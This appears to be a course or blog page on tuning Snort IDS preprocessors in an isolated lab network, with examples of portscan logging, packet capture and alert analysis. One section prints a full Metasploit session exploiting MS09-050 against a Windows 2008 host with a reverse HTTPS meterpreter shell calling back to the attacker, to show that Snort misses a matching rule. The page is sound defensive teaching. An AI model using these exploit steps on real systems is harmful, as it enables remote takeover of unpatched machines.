Lines 296-328 cover the http_inspect preprocessor. This reassembles HTTP streams for subsequent analysis. See the snort manual, pp. 58-72 for details. Note that the http_inspect preprocessor can be tuned differently for different IP addresses through the use of the server directive (manual, pp. 60-61). Note that the rule in the provided default /etc/snort/snort.conf is applied globally; this probably should be modified depending
on your network.

Note that the http_inspect preprocessor can be tuned differently for different types of web servers through the use of the profile directive. Available values include all, apache, iis, iis5.0, and iis4.0; see the manual, p. 61. This variable should also be tuned for your environment.

The http_inspect preprocessor only decodes traffic on the ports specified. Note that the values specified in the /etc/snort/snort.conf file should be trimmed to only those ports on which a web server actually listens to avoid false positives.

HTTPS traffic is encrypted, and cannot be decoded with http_inspect; thus port 443 and other SSL protected ports should not be included in the list of ports for http_inspect.

As an example, suppose that 10.0.2.16 and 10.0.2.17 were running an Apache Web server, only on the standard port 80. Then you could use a directive like

preprocessor http_inspect_server: server { 10.0.2.16 10.0.2.17 } \
    profile apache \
    ports { 80 } \
    extended_response_inspection \
    enable_cookie \
    inspect_gzip \
    unlimited_decompress \   
    normalize_javascript \
    server_flow_depth 0 \
    client_flow_depth 0 \
    post_depth 65495 \
    allow_proxy_use \
    oversize_dir_length 300 \
    normalize_headers \
    normalize_cookies \
    normalize_utf \
    max_headers 100 

Line 331 covers the preprocessor for RPC traffic. See the snort manual, pp. 54 for the syntax. Note that this only covers ONC-RPC traffic; i.e. RPC traffic for linux / unix type machines- not windows.

Line 334 starts the back orifice preprocessor. Back orifice is an antique remote windows administration tool once commonly used in trojan horses; the original was released in 1998 and an updated version (BO2K) in 1999. This preprocessor is meant to normalize traffic sent to/from back orifice tools. In 2005, it was noted that the version of the bo preprocessor that shipped with snort 2.4.0 – 2.4.3 was vulnerable to a buffer overflow that could result in an attacker obtaining root privileges on the snort sensor; exploit code was released and is even available for metasploit. What is the lesson here? Never run unnecessary services! In 2005 Back Orifice was not a priority threat. Are you worried about it today? Should you enable the preprocessor?

Lines 337-383 describe the FTP preprocessor; this preprocessor also normalizes telnet traffic. It is described inthe snort manual on pp. 81-88. The telnet preprocessor is enabled on a global level, through you can specify the ports it checks. The ftp_server preprocessor lets you specify the ip address(es) and port(s) of FTP servers. Note that the configuration in /etc/snort/snort.conf applies to traffic to any IP address, on ports 21, 2100, and 3535. These values should be tuned to
your particular network. Snort can also normalize traffic from FTP clients.

Lines 386-414 configure the SMTP preprocessor; it is described in the snort manual on pp. 72-77. This should be tuned for your network (since we are not running SMTP servers).

Line 417 holds a (commented out) configuration for the portscan module. This module is covered in the snort manual, pp. 48-53. Simply uncommenting the line will not produce any results, as no log file is specified. To specify the location where portscan alerts are sent, simply use the logfile directive; e.g.

preprocessor sfportscan: proto  { all } \
    memcap { 10000000 } \
    sense_level { medium } \
    logfile { pscan }

will send the results of the portscan module to the file /var/log/snort/pscan.

An nmap scan of the box will then yield results in that file like

[root@tazenda snort]# cat pscan 
Time: 03/23-08:21:02.223439 
event_ref: 0
10.0.2.230 -> 10.0.2.2 (portscan) TCP Filtered Portscan
Priority Count: 0
Connection Count: 200
IP Count: 1
Scanner IP Range: 10.0.2.230:10.0.2.230
Port/Proto Count: 199
Port/Proto Range: 1:62078

Some of the more clever of you have suggested that, with the classroom laboratory being isolated and on its own private network, that you should have the opportunity to play some fun ARP spoofing games. I said no- then.

Lines 420-421 are the (commented out) lines to configure snort to detect ARP spoofing; they are covered in the snort manual on pp. 92-93. Suppose you want to look for ethernet inconsistencies and to be sure that the mappings of MAC address to IP address are consistent for the host 10.0.2.2 and the gateway 10.0.2.254. This can be done with a set of configurations like

preprocessor arpspoof
preprocessor arpspoof_detect_host: 10.0.2.2 00:0C:29:C2:89:83
preprocessor arpspoof_detect_host: 10.0.2.254  00:1e:e5:3f:69:91

Lines 424-430 configure the SSH preprocessor; this is discussed in the snort manual on pp. 88-90. Because SSH traffic is encrypted, snort can do little with the data;
however it is able to scan for certain attacks (Challenge-Response overflow and CRC 32) that involve sending very large payloads immediately after the SSH authentication completes.

Lines 433-437 are for the configuration of the SMB DCD-RPC preprocessor. This normalizes traffic to and from SMB services, including windows based RPC calls and Samba servers. The syntax is discussed in the snort manual, on pp. 93-107. You may wish to update the policy variable to match your network; available choices include Win2000, Win2003, WinXP, WinVista, and various Samba versions.

Line 440 configures the DNS anomaly preprocessor; see the snort manual p. 90 for details. This preprocessor only checks for three specific vulnerabilities- DNS Client RData Overflow, Obsolete Record Types, and Experimental Record Types

Line 443 configures the SSL/TLS preprocessor; this is described in the snort manual on pp. 90-92. In general, you want snort to ignore SSL encrypted traffic, as it
cannot read the data, and may cause false positives. This module is configured to only track traffic until the data is encrypted. Note also the large collection of default ports for this directive; this should be tuned for your particular network.

Line 446 configures the sensetive personal data preprocessor; this is discussed in the snort manual on pp. 107-110. This preprocessor allows for the creation of rules that can fire if certain types of data are noted, including credit card numbers, email addresses and social security numbers.

There are a number of additional preprocessors, including SIP, IMAP, POP, Modbus, DNP3, and the Reputation preprocessor. Since we are not running email, VoIP or these other esoteric services, most of these can be ignored. The reputation preprocessor can be used to block/drop/pass traffic based on IP whitelist and blacklists; however this is of value only if snort is inline. Recall that we commented out the reputation preprocessor earlier in our installation process.

Lines 518-530 describe how snort is to store the results. Note that, by default in this install, files have been logged to /var/log/snort. This is controlled by the startup script /etc/init.d/snortd, which uses the configuration file /etc/sysconfig/snort. That file specifies the log directory; it also specifies the keeping of the binary packet logs we have already examined in wireshark.

Most of the more interesting uses of snort start by passing the results of snort to a database. These results can then be parsed by a number of different applications to enable the results to be better visualized. Since we have not (yet) covered databases, we will leave this discussion for a later date.

Lines 545-650 contain the include statements for the various signature files that snort uses for its standard rules, while lines 668-685 contain the include statements for the signature files for the various shared object rules. Be sure to enable those rules that are appropriate for your environment, and be sure to include both types.

Examples of snort use

Placement

Because VMWare uses a hub internally, a snort sensor on your host will sniff traffic directed at any of the guests on that host. It will not, however, sniff traffic directed at a VM on another host.

MS09-050

Suppose we enable all of the included snort rules, and exploit a Windows 2008 (not R2) using the Metasploit MS09-050 (exploit/windows/smb/ms09_050_smb2_negotiate_func_index) attack, with a reverse HTTPS meterpreter shell (payload windows/meterpreter/reverse_https). What would we see in the snort logs?

First, we set up and run the exploit:

msf > use exploit/windows/smb/ms09_050_smb2_negotiate_func_index 
msf  exploit(ms09_050_smb2_negotiate_func_index) > set rhost 10.0.2.9
rhost => 10.0.2.9

msf  exploit(ms09_050_smb2_negotiate_func_index) > set payload 
windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https

msf  exploit(ms09_050_smb2_negotiate_func_index) > set lhost 10.0.2.230
lhost => 10.0.2.230
msf  exploit(ms09_050_smb2_negotiate_func_index) > show options

Module options (exploit/windows/smb/ms09_050_smb2_negotiate_func_index):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  10.0.2.9         yes       The target address
   RPORT  445              yes       The target port
   WAIT   180              yes       The number of seconds to wait for the 
attack to complete.

Payload options (windows/meterpreter/reverse_https):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process, 
none
   LHOST     10.0.2.230       yes       The local listener hostname
   LPORT     8443             yes       The local listener port


Exploit target:

   Id  Name
   --  ----
   0   Windows Vista SP1/SP2 and Server 2008 (x86)


msf  exploit(ms09_050_smb2_negotiate_func_index) > exploit

[*] Started HTTPS reverse handler on https://10.0.2.230:8443/
[*] Connecting to the target (10.0.2.9:445)...
[*] Sending the exploit packet (948 bytes)...
[*] Waiting up to 180 seconds for exploit to trigger...
[*] 10.0.2.9:49160 Request received for /Rnk1...
[*] 10.0.2.9:49160 Staging connection for target /Rnk1 received...
[*] Patched user-agent at offset 641512...
[*] Patched transport at offset 641172...
[*] Patched URL at offset 641240...
[*] Patched Expiration Timeout at offset 641772...
[*] Patched Communication Timeout at offset 641776...
[*] Meterpreter session 1 opened (10.0.2.230:8443 -> 10.0.2.9:49160) at 
2013-03-23 12:22:47 -0400

meterpreter > sessions -l
[-] Unknown command: sessions.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 

Now we can take a look at the alerts that snort raises; in this case there is only one:

03/23-09:22:42.665362  [**] [1:15930:14] OS-WINDOWS Microsoft Windows SMB 
malformed process ID high field remote code execution attempt [**] 
[Classification: Attempted Denial of Service] [Priority: 2] {TCP} 
10.0.2.230:57855 -> 10.0.2.9:445

Though this information is hugely valuable, it might not be readily apparent what it actually means. The notion that this is a denial of service can be particularly confusing. However, looking at the alert, we see that the rule number is 1-15930 (revision 14); we can then take a look online at http://www.snort.org/search/sid/1-15930 to get some more information.

Interestingly, the discussion at http://www.snort.org/vrt/advisories/2009/10/13/vrt-rules-2009-10-13.html/ says that there are two rules to detect MS09-050 attacks, this one and the one with SID 3-16168. A quick check of the rules directory shows that this rule is in the file os-windows.rules

[root@tazenda rules]# grep 16168 /etc/snort/rules/*.rules 
/etc/snort/rules/os-windows.rules:# alert tcp $EXTERNAL_NET any -> $HOME_NET
[135,139,445,593,1024:] (msg:"OS-WINDOWS Microsoft Windows SMBv2 integer 
overflow denial of service attempt"; flow:to_server, established; 
content:"|FE|SMB|40 00|"; isdataat:1000; content:"|00 00 00 00 0B 00|"; 
within:6; distance:2; content:"|94 01 06 00|"; within:4; distance:54; 
fast_pattern; byte_test:4,>,61440,20,relative,little; metadata:policy 
security-ips drop, service netbios-ssn; reference:cve,2009-2526; 
reference:url,technet.microsoft.com/en-us/security/bulletin/MS09-050; 
classtype:attempted-admin; sid:16168; rev:7;)

Even though this rule in actually activated in out rule set, it appears that the Metasploit module did not trigger the alert.

The key lesson here is that these intrusion detection systems are not perfect, and that the results need to be carefully interpreted. Don’t think that just because the 16168 alert was not raised that the MS09-050 attack was not successful; in fact we know it was! False negatives are a real problem with intrusion detection systems!

Though false negatives are a real problem, false positives are just as troubling, as they are much more common. Many of the entries in your IDS logs can turn out to have simple explanations as false positives. Without doing more investigation, it is very difficult to separate the chaff from the true problems.

Packet Captures

You may wish to collect all of the packets from a particular host or hosts for later analysis. The simplest way to do so is to use the tcpdump tool. Run from the command line with the syntax

[root@tazenda ~]# tcpdump -i eth0 -s0 -C4 -Z root -w capture

this will result in

  • All packets from the interface eth0 being captured
  • Because the snaplength has been set to zero (-s0) the entire packet will be captured
  • Up to 4 million bytes (3.9 Mb) will be stored in the file capture. Subsequent data will be stored in the file capture2, then capture3 and so on.
  • Capturing will be done as the user root.

When the capture is complete, you can open these for subsequent analysis in Wireshark. You can use Wireshark to combine multiple files into a single larger file.

You can also run the packet captures through snort with the syntax

[root@tazenda ~]# snort -r capture

Finally, you may want to use the Windows tool Network Miner. This Windows tool can start with a packet capture, and extract lists of files, hosts, credentials, and images for subsequent analysis.
NMiner
Most cool.

  1. No comments yet.
  1. No trackbacks yet.

Leave a comment